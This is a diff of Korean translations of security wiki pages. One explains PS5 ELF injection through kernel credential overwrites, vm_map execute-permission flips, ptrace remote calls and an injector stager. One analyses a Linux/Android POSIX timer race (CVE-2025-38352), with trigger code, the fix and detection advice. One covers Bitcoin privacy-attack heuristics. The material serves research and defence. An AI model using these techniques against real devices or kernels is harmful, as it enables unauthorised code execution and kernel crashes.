kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
|
||||
free(proc);
|
||||
}
|
||||
}
|
||||
```
|
||||
- Offset 0x58는 PS5 펌웨어 계열에 특정하며 버전별로 확인해야 합니다.
|
||||
- 이 쓰기 후, injector는 ptrace/mdbg를 통해 사용자 프로세스에 attach하고 instrument할 수 있습니다.
|
||||
|
||||
## RW-only 사용자 매핑 우회: vm_map PROT_EXEC flip
|
||||
|
||||
Userland의 mmap은 PROT_READ|PROT_WRITE로 제한될 수 있습니다. FreeBSD는 프로세스의 주소 공간을 vm_map_entry 노드들(BST plus list)로 구성된 vm_map에서 관리합니다. 각 엔트리는 protection 및 max_protection 필드를 가집니다:
|
||||
```c
|
||||
struct vm_map_entry {
|
||||
struct vm_map_entry *prev,*next,*left,*right;
|
||||
vm_offset_t start, end, avail_ssize;
|
||||
vm_size_t adj_free, max_free;
|
||||
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
|
||||
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
|
||||
int wired_count; vm_pindex_t lastr;
|
||||
};
|
||||
```
|
||||
With kernel R/W you can locate the target’s vm_map and set entry->protection |= PROT_EXEC (and, if needed, entry->max_protection). Practical implementation notes:
|
||||
- Walk entries either linearly via next or using the balanced-tree (left/right) for O(log n) search by address range.
|
||||
- Pick a known RW region you control (scratch buffer or mapped file) and add PROT_EXEC so you can stage code or loader thunks.
|
||||
- PS5 SDK code provides helpers for fast map-entry lookup and toggling protections.
|
||||
|
||||
This bypasses userland’s mmap policy by editing kernel-owned metadata directly.
|
||||
|
||||
## 원격 함수 호출 (RFI) 및 ptrace
|
||||
|
||||
FreeBSD lacks Windows-style VirtualAllocEx/CreateRemoteThread. Instead, drive the target to call functions on itself under ptrace control:
|
||||
|
||||
1. Attach to the target and select a thread; PTRACE_ATTACH or PS5-specific mdbg flows may apply.
|
||||
2. Save thread context: registers, PC, SP, flags.
|
||||
3. Write argument registers per the ABI (x86_64 SysV or arm64 AAPCS64), set PC to the target function, and optionally place additional args/stack as needed.
|
||||
4. Single-step or continue until a controlled stop (e.g., software breakpoint or signal), then read back return values from regs.
|
||||
5. Restore original context and continue.
|
||||
|
||||
Use cases:
|
||||
- Call into an in-process ELF loader (e.g., elfldr_load) with a pointer to your ELF image in target memory.
|
||||
- Invoke helper routines to fetch returned entrypoints and payload-args pointers.
|
||||
|
||||
Example of driving the ELF loader:
|
||||
```c
|
||||
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
|
||||
intptr_t args = elfldr_payload_args(target_pid);
|
||||
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
|
||||
```
|
||||
로더는 segments를 매핑하고, imports를 해결하며, relocations을 적용한 후 entry(종종 CRT bootstrap)와 당신의 stager가 payload의 main()에 전달하는 불투명한 payload_args 포인터를 반환합니다.
|
||||
|
||||
## 스레드화된 stager와 깔끔한 detach
|
||||
|
||||
타깃 내부의 최소한의 stager는 ELF의 main을 실행하는 새 pthread를 생성한 다음 int3를 트리거하여 injector에게 detach하라고 신호를 보냅니다:
|
||||
```c
|
||||
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
|
||||
pthread_t thread;
|
||||
functions->pthread_create_ptr(&thread, 0,
|
||||
(void*(*)(void*))functions->elf_main, functions->payload_args);
|
||||
asm("int3");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
- SCEFunctions/payload_args 포인터는 loader/SDK glue에서 제공됩니다.
|
||||
- breakpoint와 detach 후, payload는 자체 thread에서 계속 실행됩니다.
|
||||
|
||||
## 종단 간 파이프라인 (PS5 참조 구현)
|
||||
|
||||
작동하는 구현체는 작은 TCP injector server와 클라이언트 스크립트로 구성됩니다:
|
||||
|
||||
- NineS server는 TCP 9033에서 수신 대기하며, 대상 프로세스 이름을 포함한 헤더와 그 다음에 이어지는 ELF 이미지를 받습니다:
|
||||
```c
|
||||
typedef struct __injector_data_t{
|
||||
char proc_name[MAX_PROC_NAME];
|
||||
Elf64_Ehdr elf_header;
|
||||
} injector_data_t;
|
||||
```
|
||||
- Python 클라이언트 사용법:
|
||||
```bash
|
||||
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
|
||||
```
|
||||
Hello-world payload 예시 (klog에 기록):
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <ps5/klog.h>
|
||||
int main(){
|
||||
klog_printf("Hello from PID %d\n", getpid());
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
## 실무적 고려사항
|
||||
|
||||
- Offsets and constants (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) 는 펌웨어별로 다르므로 릴리스마다 업데이트해야 합니다.
|
||||
- Hypervisor 보호는 데이터 전용 커널 쓰기만 허용합니다; CR0.WP 또는 CR4.SMEP를 패치하려 시도하지 마십시오.
|
||||
- JIT 메모리는 대안입니다: 일부 프로세스는 실행 가능한 페이지를 할당하기 위해 PS5 JIT APIs를 노출합니다. vm_map protection flip은 JIT/mirroring 트릭에 의존할 필요를 제거합니다.
|
||||
- 레지스터 저장/복원을 견고하게 유지하세요; 실패하면 대상이 데드락되거나 크래시할 수 있습니다.
|
||||
|
||||
## 공개 도구
|
||||
|
||||
- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
|
||||
- ELF loader: https://github.com/ps5-payload-dev/elfldr
|
||||
- Injector server: https://github.com/buzzer-re/NineS/
|
||||
- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
|
||||
- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
|
||||
|
||||
## 참고자료
|
||||
|
||||
- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
|
||||
- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
|
||||
- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
|
||||
- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
|
||||
- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
|
||||
- [Mira](https://github.com/OpenOrbis/mira-project)
|
||||
- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
|
||||
- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,15 +1,15 @@
|
||||
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
이 페이지는 Linux/Android POSIX CPU timers에서의 TOCTOU 레이스 조건을 문서화한다. 이 문제는 타이머 상태를 손상시키고 커널을 크래시시킬 수 있으며, 특정 상황에서는 권한 상승으로 유도될 수도 있다.
|
||||
이 페이지는 Linux/Android POSIX CPU timers에서 발생하는 TOCTOU race condition을 문서화하며, 타이머 상태를 손상시키고 kernel을 충돌시킬 수 있고, 특정 상황에서는 privilege escalation으로 이어질 수 있다.
|
||||
|
||||
- 영향받는 컴포넌트: kernel/time/posix-cpu-timers.c
|
||||
- 프리미티브: 작업 종료(task exit) 시 만료(expiry)와 삭제(deletion) 간의 레이스
|
||||
- 설정 민감: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
||||
- 영향받는 구성요소: kernel/time/posix-cpu-timers.c
|
||||
- Primitive: task exit 시 expiry vs deletion race
|
||||
- 설정에 민감: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
||||
|
||||
간단한 내부 구조 요약 (익스플로잇 관련)
|
||||
- 세 가지 CPU 클럭이 cpu_clock_sample()을 통해 타이머 회계를 구동한다:
|
||||
내부 동작 빠른 요약 (exploitation에 관련됨)
|
||||
- 세 가지 CPU 클럭이 cpu_clock_sample()을 통해 타이머의 계정(accounting)을 담당한다:
|
||||
- CPUCLOCK_PROF: utime + stime
|
||||
- CPUCLOCK_VIRT: utime only
|
||||
- CPUCLOCK_SCHED: task_sched_runtime()
|
||||
@ -27,7 +27,7 @@ rcu_read_unlock();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
- Arming은 per-base timerqueue에 삽입하고 next-expiry 캐시를 업데이트할 수 있습니다:
|
||||
- Arming은 per-base timerqueue에 항목을 삽입하고 next-expiry cache를 업데이트할 수 있습니다:
|
||||
```c
|
||||
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
|
||||
struct posix_cputimer_base *base = timer_base(timer, p);
|
||||
@ -37,7 +37,7 @@ if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
|
||||
if (newexp < base->nextevt) base->nextevt = newexp;
|
||||
}
|
||||
```
|
||||
- 빠른 경로는 캐시된 만료 항목들이 발동 가능성을 나타내지 않는 한 비용이 많이 드는 처리를 피합니다:
|
||||
- 빠른 경로는 캐시된 만료가 타이머 발동 가능성을 나타내지 않는 한 비용이 큰 처리를 피한다:
|
||||
```c
|
||||
static inline bool fastpath_timer_check(struct task_struct *tsk) {
|
||||
struct posix_cputimers *pct = &tsk->posix_cputimers;
|
||||
@ -50,7 +50,7 @@ return true;
|
||||
return false;
|
||||
}
|
||||
```
|
||||
- 만료는 만료된 타이머를 수집하고, firing으로 표시하며, 큐에서 제거합니다; 실제 전달은 연기됩니다:
|
||||
- Expiration은 만료된 타이머를 수집하고, 발동 상태로 표시하며, 큐에서 제거합니다; 실제 전달은 연기됩니다:
|
||||
```c
|
||||
#define MAX_COLLECTED 20
|
||||
static u64 collect_timerqueue(struct timerqueue_head *head,
|
||||
@ -68,9 +68,9 @@ list_add_tail(&ctmr->elist, firing);
|
||||
return U64_MAX;
|
||||
}
|
||||
```
|
||||
두 가지 만료 처리 모드
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: 만료는 대상 태스크의 task_work를 통해 연기됨
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: 만료는 IRQ 컨텍스트에서 직접 처리됨
|
||||
만료 처리 모드 두 가지
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: 만료는 대상 task의 task_work를 통해 연기된다
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: 만료는 IRQ 컨텍스트에서 직접 처리된다
|
||||
```c
|
||||
void run_posix_cpu_timers(void) {
|
||||
struct task_struct *tsk = current;
|
||||
@ -90,7 +90,7 @@ lockdep_posixtimer_exit();
|
||||
}
|
||||
#endif
|
||||
```
|
||||
IRQ-context 경로에서는 firing list가 sighand 외부에서 처리됩니다.
|
||||
IRQ-context 경로에서는 firing list가 sighand 바깥에서 처리됩니다.
|
||||
```c
|
||||
static void handle_posix_cpu_timers(struct task_struct *tsk) {
|
||||
struct k_itimer *timer, *next; unsigned long flags, start;
|
||||
@ -114,44 +114,45 @@ spin_unlock(&timer->it_lock);
|
||||
}
|
||||
}
|
||||
```
|
||||
Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
|
||||
Root cause: IRQ 시점의 만료와 태스크 종료 중 동시 삭제 간의 TOCTOU
|
||||
|
||||
Preconditions
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
|
||||
- The target task is exiting but not fully reaped
|
||||
- Another thread concurrently calls posix_cpu_timer_del() for the same timer
|
||||
- 대상 태스크가 종료 중이지만 완전히 회수(reaped)되지는 않음
|
||||
- 동일한 타이머에 대해 다른 스레드가 동시에 posix_cpu_timer_del()을 호출함
|
||||
|
||||
Sequence
|
||||
1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
|
||||
2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
|
||||
3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
|
||||
4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
|
||||
5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
|
||||
1) update_process_times()가 종료 중인 태스크에 대해 IRQ 컨텍스트에서 run_posix_cpu_timers()를 트리거함.
|
||||
2) collect_timerqueue()가 ctmr->firing = 1로 설정하고 타이머를 임시 firing 리스트로 이동시킴.
|
||||
3) handle_posix_cpu_timers()는 unlock_task_sighand()를 통해 sighand를 해제하여 락 밖에서 타이머를 전달하게 함.
|
||||
4) unlock 직후 종료 중인 태스크가 reaped될 수 있으며, 형제 스레드가 posix_cpu_timer_del()을 실행함.
|
||||
5) 이 창에서 posix_cpu_timer_del()은 cpu_timer_task_rcu()/lock_task_sighand()를 통해 state 획득에 실패할 수 있고, 그 결과 timer->it.cpu.firing을 확인하는 일반적인 in-flight 가드를 건너뛸 수 있음. 삭제가 firing이 아닌 것처럼 진행되어 만료 처리 중 상태를 손상시키며, 이는 충돌/crashes나 UB로 이어짐.
|
||||
|
||||
Why TASK_WORK mode is safe by design
|
||||
- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
|
||||
- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y인 경우 만료는 task_work로 연기되고, exit_task_work가 exit_notify보다 먼저 실행되므로 IRQ 시점의 reaping과의 겹침이 발생하지 않음.
|
||||
- 그럼에도 불구하고 태스크가 이미 종료 중이면 task_work_add()는 실패함; exit_state로 게이팅하면 두 모드가 일관되게 동작함.
|
||||
|
||||
Fix (Android common kernel) and rationale
|
||||
- Add an early return if current task is exiting, gating all processing:
|
||||
- 현재 태스크가 종료 중이면 모든 처리를 게이팅하도록 조기 리턴을 추가함:
|
||||
```c
|
||||
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
|
||||
if (tsk->exit_state)
|
||||
return;
|
||||
```
|
||||
- 이것은 종료 중인 작업에 대해 handle_posix_cpu_timers()에 진입하는 것을 방지하여 posix_cpu_timer_del()이 그것을 놓치고 cpu.firing과 만료 처리와 경쟁하는 창을 제거합니다.
|
||||
- 이것은 종료 중인 태스크에 대해 handle_posix_cpu_timers()에 진입하는 것을 방지하여, posix_cpu_timer_del()이 it.cpu.firing을 놓치고 만료 처리와 경쟁하는 창을 제거합니다.
|
||||
|
||||
Impact
|
||||
- 만료/삭제가 동시에 발생하는 동안 타이머 구조체에 대한 커널 메모리 손상은 즉시 충돌(DoS)을 유발할 수 있으며 임의의 커널 상태 조작 기회를 통해 privilege escalation으로 이어질 수 있는 강력한 프리미티브입니다.
|
||||
- 만료/삭제가 동시에 발생하는 동안 타이머 구조체의 커널 메모리 손상은 즉시 충돌(DoS)을 일으킬 수 있으며, 임의의 커널 상태 조작 기회를 통한 권한 상승으로 이어질 수 있는 강력한 프리미티브입니다.
|
||||
|
||||
Triggering the bug (safe, reproducible conditions)
|
||||
Build/config
|
||||
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
|
||||
|
||||
Runtime strategy
|
||||
- 종료하려는 스레드를 타깃으로 삼아 CPU 타이머를 연결합니다 (스레드별 또는 프로세스 전체 시계):
|
||||
- 스레드별의 경우: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||
- 프로세스 전체의 경우: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||
- 매우 짧은 초기 만료 시간과 짧은 간격으로 설정하여 IRQ-path 진입을 최대화하세요:
|
||||
- 종료 직전인 스레드를 대상으로 하여 해당 스레드에 CPU 타이머를 연결합니다(스레드별 또는 프로세스 전체 시계):
|
||||
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||
- IRQ-path 진입을 최대화하기 위해 초기 만료 시간을 매우 짧게 하고 간격을 작게 설정:
|
||||
```c
|
||||
static timer_t t;
|
||||
static void setup_cpu_timer(void) {
|
||||
@ -165,31 +166,31 @@ its.it_interval.tv_nsec = 1; // re-fire
|
||||
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
|
||||
}
|
||||
```
|
||||
- 형제 스레드에서 대상 스레드가 종료되는 동안 동일한 timer를 동시에 삭제:
|
||||
- 형제 스레드에서 대상 스레드가 종료되는 동안 동일한 타이머를 동시에 삭제:
|
||||
```c
|
||||
void *deleter(void *arg) {
|
||||
for (;;) (void)timer_delete(t); // hammer delete in a loop
|
||||
}
|
||||
```
|
||||
- 레이스 증폭 요인: 높은 scheduler tick rate, CPU 부하, 반복적인 스레드 종료/재생성 주기. 크래시는 일반적으로 unlock_task_sighand() 직후 task lookup/locking이 실패하여 posix_cpu_timer_del()이 firing을 놓칠 때 발생합니다.
|
||||
- 경합 증폭 요인: 높은 scheduler tick rate, CPU 부하, 반복적인 thread 종료/재생성 사이클. 크래시는 일반적으로 unlock_task_sighand() 직후 task 조회/잠금에 실패하여 posix_cpu_timer_del()이 firing을 인지하지 못할 때 나타납니다.
|
||||
|
||||
Detection and hardening
|
||||
- Mitigation: exit_state 가드 적용; 가능하면 CONFIG_POSIX_CPU_TIMERS_TASK_WORK 활성화를 권장.
|
||||
- Observability: unlock_task_sighand()/posix_cpu_timer_del() 주변에 tracepoints/WARN_ONCE 추가; it.cpu.firing==1 이 관찰되면서 cpu_timer_task_rcu()/lock_task_sighand()가 실패하는 경우 경보; task 종료 시 timerqueue 불일치 모니터링.
|
||||
- Mitigation: exit_state 가드를 적용; 가능하면 CONFIG_POSIX_CPU_TIMERS_TASK_WORK를 활성화하는 것을 권장합니다.
|
||||
- Observability: unlock_task_sighand()/posix_cpu_timer_del() 주변에 tracepoints/WARN_ONCE를 추가; it.cpu.firing==1이 관측되면서 cpu_timer_task_rcu()/lock_task_sighand()가 실패할 때 알림을 설정; task 종료 주변의 timerqueue 불일치를 모니터링하세요.
|
||||
|
||||
Audit hotspots (for reviewers)
|
||||
- update_process_times() → run_posix_cpu_timers() (IRQ)
|
||||
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
|
||||
- collect_timerqueue(): sets ctmr->firing and moves nodes
|
||||
- handle_posix_cpu_timers(): drops sighand before firing loop
|
||||
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
|
||||
- collect_timerqueue(): ctmr->firing를 설정하고 노드를 이동함
|
||||
- handle_posix_cpu_timers(): firing 루프 전에 sighand를 드롭함
|
||||
- posix_cpu_timer_del(): in-flight expiry를 감지하기 위해 it.cpu.firing에 의존; exit/reap 도중 task lookup/lock이 실패하면 이 검사가 건너뛰어짐
|
||||
|
||||
Notes for exploitation research
|
||||
- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.
|
||||
- 공개된 동작은 신뢰할 수 있는 커널 크래시 프리미티브입니다; 이를 권한 상승으로 악용하려면 일반적으로 이 요약의 범위를 벗어나는 추가로 제어 가능한 중첩(객체 수명 또는 write-what-where 영향)이 필요합니다. 모든 PoC는 불안정화를 초래할 수 있으므로 에뮬레이터/VM에서만 실행하세요.
|
||||
|
||||
## 참고자료
|
||||
## References
|
||||
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
|
||||
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
|
||||
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,173 +4,181 @@
|
||||
|
||||
## 기본 개념
|
||||
|
||||
- **스마트 계약(Smart Contracts)** 는 특정 조건이 충족되면 블록체인 상에서 실행되는 프로그램으로, 중개자 없이 합의 이행을 자동화합니다.
|
||||
- **분산형 애플리케이션(dApps)** 는 스마트 계약을 기반으로 하며, 사용자 친화적인 프런트엔드와 투명하고 감사 가능한 백엔드를 갖춥니다.
|
||||
- **토큰 & 코인** 은 코인이 디지털 화폐로 사용되는 반면, 토큰은 특정 맥락에서 가치나 소유권을 나타낸다는 점에서 구분됩니다.
|
||||
- **유틸리티 토큰(Utility Tokens)** 은 서비스 접근 권한을 부여하고, **증권형 토큰(Security Tokens)** 은 자산 소유를 의미합니다.
|
||||
- **DeFi** 는 중앙 권한 없이 금융 서비스를 제공하는 탈중앙화 금융을 의미합니다.
|
||||
- **DEX** 와 **DAOs** 는 각각 분산형 거래소(Decentralized Exchange)와 분산형 자율 조직(Decentralized Autonomous Organization)을 가리킵니다.
|
||||
- **Smart Contracts**는 특정 조건이 충족될 때 블록체인에서 실행되는 프로그램으로 정의되며, 중개자 없이 계약 이행을 자동화합니다.
|
||||
- **dApps**는 스마트 계약을 기반으로 하며, 사용자 친화적인 프론트엔드와 투명하고 감사 가능한 백엔드를 갖춘 애플리케이션입니다.
|
||||
- **Tokens & Coins**는 구분되며, coins는 디지털 화폐로 사용되는 반면 tokens는 특정 맥락에서 가치나 소유권을 나타냅니다.
|
||||
- **Utility Tokens**는 서비스 접근 권한을 부여하고, **Security Tokens**는 자산 소유를 의미합니다.
|
||||
- **DeFi**는 중앙 권한 없이 금융 서비스를 제공하는 Decentralized Finance를 의미합니다.
|
||||
- **DEX**와 **DAOs**는 각각 Decentralized Exchange Platforms와 Decentralized Autonomous Organizations를 의미합니다.
|
||||
|
||||
## 합의 메커니즘
|
||||
|
||||
합의 메커니즘은 블록체인에서 거래 검증을 안전하고 합의된 방식으로 보장합니다:
|
||||
합의 메커니즘은 블록체인에서 안전하고 합의된 거래 검증을 보장합니다:
|
||||
|
||||
- **Proof of Work (PoW)** 는 거래 검증을 위해 계산 능력에 의존합니다.
|
||||
- **Proof of Stake (PoS)** 는 검증자가 일정량의 토큰을 보유하도록 요구하여 PoW에 비해 에너지 소비를 줄입니다.
|
||||
- **Proof of Work (PoW)**는 거래 검증을 위해 계산 능력에 의존합니다.
|
||||
- **Proof of Stake (PoS)**는 검증자가 일정량의 토큰을 보유하도록 요구하며, PoW에 비해 에너지 소비를 줄입니다.
|
||||
|
||||
## 비트코인 필수 지식
|
||||
## Bitcoin 핵심 개념
|
||||
|
||||
### 거래
|
||||
### 트랜잭션
|
||||
|
||||
비트코인 거래는 주소 간 자금 이동을 포함합니다. 거래는 디지털 서명을 통해 검증되어 개인 키 소유자만 전송을 시작할 수 있음을 보장합니다.
|
||||
Bitcoin 트랜잭션은 주소 간 자금 이전을 포함합니다. 트랜잭션은 디지털 서명을 통해 검증되어, 개인 키의 소유자만이 전송을 시작할 수 있도록 보장합니다.
|
||||
|
||||
#### 핵심 요소:
|
||||
#### 주요 구성 요소:
|
||||
|
||||
- **다중 서명 거래(Multisignature Transactions)** 는 거래를 승인하기 위해 여러 서명이 필요합니다.
|
||||
- 거래는 **입력(inputs)**(자금의 출처), **출력(outputs)**(목적지), **수수료(fees)**(채굴자에게 지급), 및 **스크립트(scripts)**(거래 규칙)로 구성됩니다.
|
||||
- **Multisignature Transactions**는 트랜잭션을 승인하기 위해 여러 서명이 필요합니다.
|
||||
- 트랜잭션은 **inputs**(자금 출처), **outputs**(목적지), **fees**(miners에게 지급), 및 **scripts**(트랜잭션 규칙)로 구성됩니다.
|
||||
|
||||
### 라이트닝 네트워크
|
||||
### Lightning Network
|
||||
|
||||
라이트닝 네트워크는 채널 내에서 여러 거래를 허용하고 최종 상태만 블록체인에 브로드캐스트하여 비트코인의 확장성을 향상시키는 것을 목표로 합니다.
|
||||
여러 트랜잭션을 채널 내에서 처리하고 최종 상태만 블록체인에 브로드캐스트함으로써 Bitcoin의 확장성을 향상시키는 것을 목표로 합니다.
|
||||
|
||||
## 비트코인 프라이버시 문제
|
||||
## Bitcoin 프라이버시 우려
|
||||
|
||||
Common Input Ownership, UTXO Change Address Detection과 같은 프라이버시 공격은 거래 패턴을 악용합니다. Mixers와 CoinJoin 같은 전략은 사용자 간 거래 연결을 난독화하여 익명성을 개선합니다.
|
||||
Common Input Ownership 및 UTXO Change Address Detection과 같은 프라이버시 공격은 트랜잭션 패턴을 악용합니다. Mixers 및 CoinJoin과 같은 전략은 사용자 간 트랜잭션 연계를 흐리게 하여 익명성을 향상시킵니다.
|
||||
|
||||
## 익명으로 비트코인 획득하기
|
||||
## 익명으로 Bitcoin 획득하기
|
||||
|
||||
방법으로는 현금 거래, 채굴 및 믹서 사용 등이 있습니다. **CoinJoin** 은 여러 거래를 섞어 추적을 복잡하게 만들고, **PayJoin** 은 CoinJoin을 일반 거래로 위장하여 더 높은 프라이버시를 제공합니다.
|
||||
방법에는 현금 거래, 채굴, mixers 사용 등이 포함됩니다. CoinJoin은 추적을 복잡하게 만들기 위해 여러 트랜잭션을 혼합하고, PayJoin은 일반 트랜잭션으로 CoinJoin을 위장하여 프라이버시를 강화합니다.
|
||||
|
||||
# Bitcoin Privacy Atacks
|
||||
|
||||
# 비트코인 프라이버시 공격 요약
|
||||
# Bitcoin 프라이버시 공격 요약
|
||||
|
||||
비트코인 세계에서 거래의 프라이버시와 사용자의 익명성은 자주 우려되는 주제입니다. 다음은 공격자가 비트코인 프라이버시를 침해할 수 있는 몇 가지 일반적인 방법에 대한 간단한 개요입니다.
|
||||
Bitcoin 세계에서 트랜잭션의 프라이버시와 사용자의 익명성은 종종 우려의 대상입니다. 다음은 공격자가 Bitcoin 프라이버시를 침해할 수 있는 몇 가지 일반적인 방법에 대한 단순화된 개요입니다.
|
||||
|
||||
## **Common Input Ownership Assumption (공통 입력 소유 가정)**
|
||||
## **Common Input Ownership Assumption**
|
||||
|
||||
서로 다른 사용자의 입력이 단일 거래에서 결합되는 경우는 복잡성 때문에 일반적으로 드뭅니다. 따라서 **같은 거래의 두 입력 주소는 종종 동일한 소유자에게 속한다고 가정됩니다**.
|
||||
서로 다른 사용자의 inputs가 하나의 트랜잭션에서 결합되는 것은 복잡성 때문에 일반적으로 드뭅니다. 따라서 **같은 트랜잭션의 두 입력 주소는 종종 동일한 소유자에게 속한다고 가정됩니다**.
|
||||
|
||||
## **UTXO Change Address Detection (UTXO 잔액 주소 탐지)**
|
||||
## **UTXO Change Address Detection**
|
||||
|
||||
UTXO, 즉 미사용 거래 출력(Unspent Transaction Output)은 거래에서 전체가 소비되어야 합니다. 그 중 일부만 다른 주소로 전송될 경우, 나머지 금액은 새로운 잔액 주소(change address)로 돌아갑니다. 관찰자는 이 새 주소가 송금자에게 속한다고 추정할 수 있어 프라이버시가 침해됩니다.
|
||||
UTXO, 또는 **미사용 트랜잭션 출력(Unspent Transaction Output)**는 트랜잭션에서 전체가 사용되어야 합니다. 그 일부만 다른 주소로 전송되면 잔액은 새로운 change address로 돌아갑니다. 관찰자는 이 새로운 주소가 송신자에 속한다고 가정할 수 있어 프라이버시가 손상됩니다.
|
||||
|
||||
### 예시
|
||||
|
||||
이를 완화하기 위해 믹싱 서비스나 여러 주소를 사용하는 것이 소유권을 혼동시키는 데 도움이 됩니다.
|
||||
이를 완화하기 위해 mixing 서비스나 여러 주소 사용이 소유권을 숨기는 데 도움이 될 수 있습니다.
|
||||
|
||||
## **소셜 네트워크 및 포럼 노출**
|
||||
## **Social Networks & Forums 노출**
|
||||
|
||||
사용자들이 종종 자신의 비트코인 주소를 온라인에 공유하여 **주소와 소유자를 연결하기 쉽도록** 만듭니다.
|
||||
사용자가 때때로 온라인에 자신의 Bitcoin 주소를 공유하여 **주소를 소유자와 연결하기 쉽습니다**.
|
||||
|
||||
## **거래 그래프 분석**
|
||||
## **트랜잭션 그래프 분석**
|
||||
|
||||
거래는 그래프로 시각화할 수 있으며, 자금 흐름을 기반으로 사용자 간의 잠재적 연결을 드러낼 수 있습니다.
|
||||
트랜잭션은 그래프로 시각화될 수 있으며, 자금 흐름을 기반으로 사용자 간의 잠재적 연결을 드러냅니다.
|
||||
|
||||
## **불필요한 입력 휴리스틱(Optimal Change Heuristic)**
|
||||
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
|
||||
|
||||
이 휴리스틱은 여러 입력과 출력을 가진 거래를 분석하여 어떤 출력이 송금자에게 돌아가는 잔액(change)인지 추측하는 데 기반합니다.
|
||||
이 휴리스틱은 여러 inputs와 outputs를 가진 트랜잭션을 분석하여 어떤 output이 송신자에게 반환되는 change인지 추측하는 데 기반합니다.
|
||||
|
||||
### 예시
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
입력이 더 추가되어 잔돈 출력이 어느 단일 입력보다 커지면, 그 휴리스틱을 혼란스럽게 만들 수 있다.
|
||||
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
|
||||
|
||||
## **강제 주소 재사용**
|
||||
## **Forced Address Reuse**
|
||||
|
||||
공격자는 이전에 사용된 주소로 소량을 전송해, 수신자가 이후 거래에서 이를 다른 입력과 결합하도록 유도함으로써 주소들을 서로 연결하려 할 수 있다.
|
||||
